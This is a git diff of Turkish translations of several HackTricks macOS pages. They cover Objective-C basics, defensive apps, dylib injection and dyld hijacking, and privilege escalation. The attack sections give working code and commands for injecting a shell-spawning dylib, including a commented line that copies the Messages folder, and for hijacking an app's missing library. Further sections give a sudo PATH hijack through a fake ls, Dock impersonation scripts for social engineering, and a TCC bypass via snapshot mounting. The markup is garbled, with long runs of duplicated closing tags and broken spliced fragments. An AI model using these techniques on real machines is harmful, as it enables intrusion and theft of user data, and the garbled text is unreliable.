Ayrıca, işlevlerde kullanılmak üzere bir parametre olarak kullanılmak üzere bir blok türü tanımlamak da mümkündür:
Ayrıca, **fonksiyonlarda parametre olarak kullanılacak bir blok türü tanımlamak** da mümkündür:
```objectivec
// Define the block type
typedef void (^callbackLogger)(void);
@ -353,31 +359,47 @@ NSLog(@"Removed successfully");
```
{% endcode %}
Ayrıca, dosyaları `NSString` nesneleri yerine `NSURL` nesneleri kullanarak yönetmek de mümkündür. Yöntem isimleri benzerdir, ancak `Path` yerine `URL` kullanılır.
Aynı zamanda dosyaları **`NSString` nesneleri yerine `NSURL` nesneleri kullanarak yönetmek de mümkündür.** Metot isimleri benzer, ancak **`Path` yerine `URL`** kullanılır.
```objectivec
NSURL *fileSrc = [NSURL fileURLWithPath:@"/path/to/file1.txt"];
NSURL *fileDst = [NSURL fileURLWithPath:@"/path/to/file2.txt"];
[fileManager moveItemAtURL:fileSrc toURL:fileDst error: nil];
```
En temel sınıfların çoğu, doğrudan bir dosyaya yazılmalarına izin veren `writeToFile:<path> atomically:<YES> encoding:<encoding> error:nil` adında bir yönteme sahiptir:
{% code overflow="wrap" %}
```objectivec
NSString* tmp = @"something temporary";
[tmp writeToFile:@"/tmp/tmp1.txt" atomically:YES encoding:NSASCIIStringEncoding error:nil];
```
{% endcode %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,55 +1,43 @@
# macOS Savunma Uygulamaları
# macOS Defensive Apps
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Güvenlik Duvarları
## Firewalls
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Her işlem tarafından yapılan her bağlantıyı izleyecektir. Moda bağlı olarak (sessiz bağlantılara izin verme, sessiz bağlantıyı reddetme ve uyarı) her yeni bağlantı kurulduğunda **bir uyarı gösterecektir**. Ayrıca tüm bu bilgileri görmek için çok güzel bir GUI'si vardır.
* [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See güvenlik duvarı. Bu, şüpheli bağlantılar için sizi uyaracak temel bir güvenlik duvarıdır (GUI'si Little Snitch'ininki kadar şık değildir).
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Her bir süreç tarafından yapılan her bağlantıyı izleyecektir. Moduna bağlı olarak (sessiz izin verilen bağlantılar, sessiz reddedilen bağlantılar ve uyarı) her yeni bağlantı kurulduğunda **size bir uyarı gösterecektir**. Ayrıca bu bilgileri görmek için çok güzel bir GUI'ye sahiptir.
* [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See güvenlik duvarı. Bu, şüpheli bağlantılar için sizi uyaran temel bir güvenlik duvarıdır (bir GUI'si var ama Little Snitch'in GUI'si kadar şık değil).
## Kalıcılık Tespiti
## Persistence detection
* [**KnockKnock**](https://objective-see.org/products/knockknock.html): Zararlı yazılımın kalıcı olabileceği birkaç konumu arayacak olan Objective-See uygulamasıdır (bir seferlik bir araç, bir izleme servisi değil).
* [**BlockBlock**](https://objective-see.org/products/blockblock.html): Kalıcılık oluşturan işlemleri izleyerek KnockKnock gibi çalışır.
* [**KnockKnock**](https://objective-see.org/products/knockknock.html): **Kötü amaçlı yazılımların kalıcı olabileceği** çeşitli yerlerde arama yapan Objective-See uygulaması (tek seferlik bir araç, izleme hizmeti değil).
* [**BlockBlock**](https://objective-see.org/products/blockblock.html): Kalıcılık oluşturan süreçleri izleyerek KnockKnock gibi çalışır.
## Keylogger Tespiti
## Keyloggers detection
* [**ReiKey**](https://objective-see.org/products/reikey.html): Klavye "etkinlik tıklamaları" yapan **keylogger'ları** bulmak için Objective-See uygulaması
## Fidye Yazılımı Tespiti
* [**RansomWhere**](https://objective-see.org/products/ransomwhere.html): Dosya şifreleme eylemlerini tespit etmek için Objective-See uygulaması.
## Mikrofon ve Webcam Tespiti
* [**OverSight**](https://objective-see.org/products/oversight.html): Webcam ve mikrofonu kullanan uygulamaları tespit etmek için Objective-See uygulaması.
## İşlem Enjeksiyonu Tespiti
* [**Shield**](https://theevilbit.github.io/shield/): Farklı işlem enjeksiyon tekniklerini **tespit eden** bir uygulama.
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>
* [**ReiKey**](https://objective-see.org/products/reikey.html): Klavye "olay tapları" kuran **keylogger'ları** bulmak için Objective-See uygulaması.

View file

@ -1,22 +1,23 @@
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## DYLD\_INSERT\_LIBRARIES Temel örnek
**Bir kabuk çalıştırmak için enjekte edilecek kütüphane:**
**Enjekte edilecek kütüphane** bir shell çalıştırmak için:
```c
// gcc -dynamiclib -o inject.dylib inject.c
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Saldırı için kullanılacak ikili dosya:
Saldırılacak ikili:
```c
// gcc hello.c -o hello
#include <stdio.h>
@ -51,7 +52,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyld Hijacking Örneği
Hedeflenen zafiyetli ikili dosya `/Applications/VulnDyld.app/Contents/Resources/lib/binary`'dir.
Hedeflenen savunmasız ikili dosya `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
{% tabs %}
{% tab title="entitlements" %}
@ -76,7 +77,7 @@ path @loader_path/../lib2 (offset 12)
{% endcode %}
{% endtab %}
{% tab title="@executable_path" %}
{% tab title="@rpath" %}
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
@ -87,17 +88,16 @@ current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{% code %}
{% endcode %}
{% endtab %}
{% endtabs %}
Önceki bilgilere göre, **yüklenen kütüphanelerin imzasını kontrol etmediğini** ve aşağıdaki yerden bir kütüphane yüklemeye çalıştığını biliyoruz:
Önceki bilgilerle, **yüklenen kütüphanelerin imzasını kontrol etmediğini** ve **şu kütüphaneyi yüklemeye çalıştığını** biliyoruz:
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
Ancak, ilk kütüphane mevcut değil:
Ancak, ilki mevcut değil:
```bash
pwd
/Applications/VulnDyld.app
@ -105,7 +105,7 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
Öyleyse, onu ele geçirmek mümkün! Meşru kütüphaneyi yeniden ihraç ederek ve aynı işlevleri sağlayarak **rastgele bir kodu yürüten ve aynı işlevleri ihraç eden** bir kütüphane oluşturun. Ve beklenen sürümlerle derlemeyi unutmayın:
Yani, onu ele geçirmek mümkün! **Herhangi bir kodu çalıştıran ve meşru kütüphanenin aynı işlevselliklerini yeniden dışa aktaran** bir kütüphane oluşturun. Ve beklenen sürümlerle derlemeyi unutmayın:
{% code title="lib.m" %}
```objectivec
@ -118,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]);
```
{% endcode %}
Derleyin:
Bunu derleyin:
{% code overflow="wrap" %}
```bash
@ -127,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
```
{% endcode %}
Kütüphanede oluşturulan yeniden ihracat yolu, yükleyiciye göre göreli bir yoldur, ihracat yapılacak kütüphanenin mutlak yolunu kullanmak için değiştirelim:
Kütüphanede oluşturulan yeniden ihracat yolu yükleyiciye göredir, bunu dışa aktarmak için kütüphaneye mutlak bir yol olarak değiştirelim:
{% code overflow="wrap" %}
```bash
@ -156,33 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}
Ve **binary'yi çalıştırın** ve **kütüphanenin yüklendiğini** kontrol edin:
Ve **ikiliyi çalıştırın** ve **kütüphanenin yüklendiğini kontrol edin**:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] /Applications/VulnDyld.app/Contents/Resources/lib/binary içinde dylib ele geçirildi
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib /Applications/VulnDyld.app/Contents/Resources/lib/binary içinde ele geçirildi
</strong>Kullanım: [...]
</code></pre>
{% hint style="info" %}
Bu zafiyeti kullanarak telegramın kamera izinlerini kötüye kullanmak için nasıl kullanılabileceği hakkında güzel bir yazıya [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) adresinden ulaşabilirsiniz.
Bu güvenlik açığını kullanarak telegram'ın kamera izinlerini kötüye kullanma hakkında güzel bir yazı [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) adresinde bulunabilir.
{% endhint %}
## Daha Büyük Ölçek
Eğer beklenmedik binary'lere kütüphane enjekte etmeyi denemeyi planlıyorsanız, kütüphanenin bir işlem içinde yüklendiği olay mesajlarını kontrol edebilirsiniz (bu durumda printf ve `/bin/bash` yürütmesini kaldırın).
Beklenmedik ikililere kütüphaneler enjekte etmeyi planlıyorsanız, bir süreç içinde kütüphanenin ne zaman yüklendiğini bulmak için olay mesajlarını kontrol edebilirsiniz (bu durumda printf ve `/bin/bash` yürütmesini kaldırın).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# macOS Yetki Yükseltme
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## TCC Yetki Yükseltme
TCC yetki yükseltme için buraya geldiyseniz, şuraya gidin:
Eğer TCC yetki yükseltme ile ilgili bilgi arıyorsanız, buraya gidin:
{% content-ref url="macos-security-protections/macos-tcc/" %}
[macos-tcc](macos-security-protections/macos-tcc/)
{% endcontent-ref %}
## Linux Yetki Yükseltme
## Linux Privesc
Lütfen unutmayın ki, **Linux/Unix üzerindeki yetki yükseltme hilelerinin çoğu MacOS makineleri üzerinde de etkili olacaktır**. Bu yüzden şuna bakın:
Lütfen **Linux/Unix üzerinde etkili olan yetki yükseltme ipuçlarının çoğunun MacOS** makinelerini de etkileyeceğini unutmayın. Bu yüzden:
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
[privilege-escalation](../../linux-hardening/privilege-escalation/)
@ -32,11 +33,11 @@ Lütfen unutmayın ki, **Linux/Unix üzerindeki yetki yükseltme hilelerinin ço
## Kullanıcı Etkileşimi
### Sudo Kaçırma
### Sudo Ele Geçirme
Orijinal Sudo Kaçırma tekniğini [Linux Yetki Yükseltme yazısının içinde bulabilirsiniz](../../linux-hardening/privilege-escalation/#sudo-hijacking).
Orijinal [Sudo Ele Geçirme tekniğini Linux Yetki Yükseltme yazısında bulabilirsiniz](../../linux-hardening/privilege-escalation/#sudo-hijacking).
Ancak, macOS, kullanıcının **`sudo`** komutunu çalıştırdığında kullanıcının **`PATH`**'ini korur. Bu da saldırıyı gerçekleştirmenin başka bir yolunun, kurbanın **sudo çalıştırırken** yürüteceği **diğer ikili dosyaları kaçırmak** olabileceği anlamına gelir:
Ancak, macOS **kullanıcının** **`PATH`**'ini **`sudo`** komutunu çalıştırdığında **korur**. Bu, bu saldırıyı gerçekleştirmenin başka bir yolunun, mağdurun **sudo çalıştırırken** yine de çalıştıracağı **diğer ikili dosyaları ele geçirmek** olacağı anlamına gelir:
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
@ -51,19 +52,17 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
### Dock Taklit Etme
Terminal kullanan bir kullanıcının büyük olasılıkla **Homebrew yüklü** olacağını unutmayın. Bu nedenle **`/opt/homebrew/bin`** dizinindeki ikili dosyaları ele geçirmek mümkündür.
Not edin ki terminal kullanan bir kullanıcının **Homebrew yüklü olma olasılığı yüksektir**. Bu nedenle **`/opt/homebrew/bin`** içindeki ikili dosyaları ele geçirmek mümkündür.
### Dock Taklit Etme
Bazı **sosyal mühendislik** kullanarak örneğin Google Chrome'u taklit edebilir ve aslında kendi betiğinizi çalıştırabilirsiniz:
Bazı **sosyal mühendislik** teknikleri kullanarak dock içinde **örneğin Google Chrome'u taklit edebilir** ve aslında kendi scriptinizi çalıştırabilirsiniz:
{% tabs %}
{% tab title="Chrome Taklit Etme" %}
{% tab title="Chrome Taklidi" %}
Bazı öneriler:
* Dock'ta Chrome var mı diye kontrol edin ve bu durumda o girişi **kaldırın** ve Dock dizisinde aynı konuma **sahte Chrome girişi ekleyin**.
* Dock'ta bir Chrome olup olmadığını kontrol edin, eğer varsa o girişi **kaldırın** ve Dock dizisinde aynı konuma **sahte** **Chrome girişini ekleyin**.&#x20;
```bash
#!/bin/sh
@ -138,11 +137,11 @@ killall Dock
{% tab title="Finder Taklit Etme" %}
Bazı öneriler:
* Dock'tan Finder'ı **kaldıramazsınız**, bu yüzden Dock'a ekleyecekseniz, sahte Finder'ı gerçek Finder'ın hemen yanına koyabilirsiniz. Bunun için Dock dizisinin başına sahte Finder girişini eklemeniz gerekmektedir.
* Başka bir seçenek, onu Dock'a koymamak ve sadece açmak, "Finder'ın Finder'ı kontrol etmesini istemesi" o kadar da garip değil.
* Şifre sormadan kök yetkisine **yükselmek için başka seçenekler**:
* Finder'a, bir ayrıcalıklı işlem gerçekleştirmek için şifre sorması için **`/etc/pam.d`** dizinine yeni bir **`sudo`** dosyası kopyalamasını isteyin (Şifre sorma isteği, "Finder'ın sudo kopyalamak istediği" şeklinde belirtilecektir)
* Finder'a yeni bir **Yetkilendirme Eklentisi** kopyalamasını isteyin (Dosya adını kontrol edebilirsiniz, böylece şifre sorma isteği, "Finder'ın Finder.bundle kopyalamak istediği" şeklinde belirtilecektir)
* **Finder'ı Dock'tan kaldıramazsınız**, bu yüzden eğer Dock'a ekleyecekseniz, sahte Finder'ı gerçek Finder'ın hemen yanına koyabilirsiniz. Bunun için **sahte Finder girişini Dock dizisinin başına eklemeniz gerekir**.
* Diğer bir seçenek, Dock'a yerleştirmemek ve sadece açmaktır; "Finder, Finder'ı kontrol etmesi için izin istiyor" o kadar da garip değil.
* Şifre sormadan **root'a yükselmek** için başka bir seçenek, Finder'ın gerçekten bir ayrıcalıklı işlem gerçekleştirmek için şifre sormasını sağlamaktır:
* Finder'dan **`/etc/pam.d`** dizinine yeni bir **`sudo`** dosyası kopyalamasını isteyin (Şifre isteyen istem, "Finder sudo'yu kopyalamak istiyor" diye belirtecektir)
* Finder'dan yeni bir **Yetkilendirme Eklentisi** kopyalamasını isteyin (Dosya adını kontrol edebilirsiniz, böylece şifre isteyen istem "Finder Finder.bundle'ı kopyalamak istiyor" diye belirtecektir)
```bash
#!/bin/sh
@ -215,12 +214,12 @@ killall Dock
{% endtab %}
{% endtabs %}
## TCC - Kök Ayrıcalığı Yükseltme
## TCC - Root Yetki Yükseltme
### CVE-2020-9771 - mount\_apfs TCC atlatma ve ayrıcalık yükseltme
### CVE-2020-9771 - mount\_apfs TCC atlatma ve yetki yükseltme
**Herhangi bir kullanıcı** (yetkisiz olanlar bile) bir zaman makinesi anlık görüntüsü oluşturabilir ve bağlayabilir ve o anlık görüntünün **tüm dosyalarına erişebilir**.\
**Yalnızca ayrıcalıklı** olan, kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine (`kTCCServiceSystemPolicyAllfiles`) sahip olması gerekmektedir ve bunun için bir yönetici tarafından verilmelidir.
**Herhangi bir kullanıcı** (hatta yetkisiz olanlar bile) bir zaman makinesi anlık görüntüsü oluşturabilir ve bu anlık görüntünün **TÜM dosyalarına** erişebilir.\
Gerekli olan **tek yetki**, kullanılan uygulamanın (örneğin `Terminal`) **Tam Disk Erişimi** (FDA) erişimine sahip olmasıdır (`kTCCServiceSystemPolicyAllfiles`), bu da bir yönetici tarafından verilmelidir.
{% code overflow="wrap" %}
```bash
@ -244,26 +243,27 @@ ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}
Daha detaylı bir açıklama [**orijinal raporda bulunabilir**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
Daha ayrıntılı bir açıklama [**orijinal raporda**](https://theevilbit.github.io/posts/cve\_2020\_9771/)** bulunabilir.**
## Hassas Bilgiler
Bu, ayrıcalıkları yükseltmek için kullanışlı olabilir:
Bu, ayrıcalıkları artırmak için faydalı olabilir:
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
